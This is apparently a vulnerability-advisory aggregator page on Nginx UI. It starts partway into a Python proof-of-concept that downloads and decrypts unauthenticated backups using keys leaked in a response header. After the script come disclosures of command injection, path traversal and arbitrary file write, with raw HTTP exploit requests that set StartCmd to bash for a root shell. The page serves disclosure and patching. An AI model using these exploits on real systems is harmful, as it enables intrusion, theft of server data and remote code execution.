def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.addargument("--target", required=True, help="Base URL, e.g. http://host:port") ap.addargument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.addargument("--decrypt", action="storetrue", help="Decrypt the backup after download") ap.addargument("--extract-dir", default="backupextracted", help="Directory to extract decrypted files")

args = ap.parseargs()

url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

# Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET")

try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = parsekeys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1)

with open(args.out, "wb") as f: f.write(data)

# Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}")

if key and iv: # Verify key/IV lengths try: keybytes = base64.b64decode(key) ivbytes = base64.b64decode(iv) print(f"\n[] Key length: {len(keybytes)} bytes (AES-256 ✓)") print(f"[] IV length : {len(ivbytes)} bytes (AES block size ✓)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1)

if args.decrypt: try: extractbackup(args.out, key, iv, args.extractdir)

except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.printexc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}")

if name == "main": main()

bash Download and decrypt backup (no authentication required) pip install pycryptodome python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==

[] Key length: 32 bytes (AES-256 ✓) [] IV length : 16 bytes (AES block size ✓)

[] Extracting encrypted backup to backupextracted [] Main archive contains: ['hashinfo.txt', 'nginx-ui.zip', 'nginx.zip'] [] Decrypting hashinfo.txt... → Saved to backupextracted/hashinfo.txt.decrypted (199 bytes) [] Decrypting nginx-ui.zip... → Saved to backupextracted/nginx-uidecrypted.zip (12510 bytes) → Extracted 2 files to backupextracted/nginx-ui [] Decrypting nginx.zip... → Saved to backupextracted/nginxdecrypted.zip (5682 bytes) → Extracted 17 files to backupextracted/nginx

[] Hash info: nginx-uihash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginxhash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2

HTTP Request (Raw)

http GET /api/backup HTTP/1.1 Host: victim:9000

No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header

Example Response

http HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />

Resources

- CWE-306: Missing Authentication for Critical Function - CWE-311: Missing Encryption of Sensitive Data - OWASP: Broken Authentication - OWASP: Sensitive Data Exposure - NIST: Key Management Guidelines

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
EPSS
25.67%
Input Validation
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, when Nginx UI configures logrotate, it does not verify the input and directly passes it to exec.Command, causing arbitrary command execution. Version 2.0.0-beta.36 fixes this issue.

First published (updated )
Severity
5.5
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, the log path of nginxui is controllable. This issue can be combined with the directory traversal at /api/configs to read directories and file contents on the server. Version 2.0.0-beta.36 fixes the issue.

First published (updated )
Severity
7.7
EPSS
0.14%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Nginx UI v2.0.0-beta.35 and earlier gets the value from the json field without verification, and can construct a value value in the form of ../../. Arbitrary files can be written to the server, which may result in loss of permissions. Version 2.0.0-beta.26 fixes the issue.

First published (updated )
Severity
8.8
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Fix bypass to the following bugs

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35

Allowing to inject directly in the app.ini via CRLF to change the value of testconfigcmd and startcmd resulting in an Authenticated RCE

Impact Authenticated Remote execution on the host

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.17%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }

err := certModel.Insert()

if err != nil { api.ErrHandler(c, err) return }

content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }

err = content.WriteFile()

if err != nil { api.ErrHandler(c, err) return }

c.JSON(http.StatusOK, Transformer(certModel)) }

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15

go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.

err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }

err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }

if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }

if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }

return }

PoC

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}

bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash

For the new config to be applied the app needs to be restarted

!image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.42%
Command Injection
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

go func SaveSettings(c gin.Context) { var json struct { Server settings.Server json:"server" ... }

...

settings.ServerSettings = json.Server

...

err := settings.Save() ... }

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

go func Pty(c gin.Context) { ...

p, err := pty.NewPipeLine(ws)

... }

The NewPipeLine function is defined as follows:

go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)

... This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "startcmd":"bash" : http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"...","nodesecret":"...","httpchallengeport":"9180","email":"...","database":"foo","startcmd":"bash","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as root: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)

Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203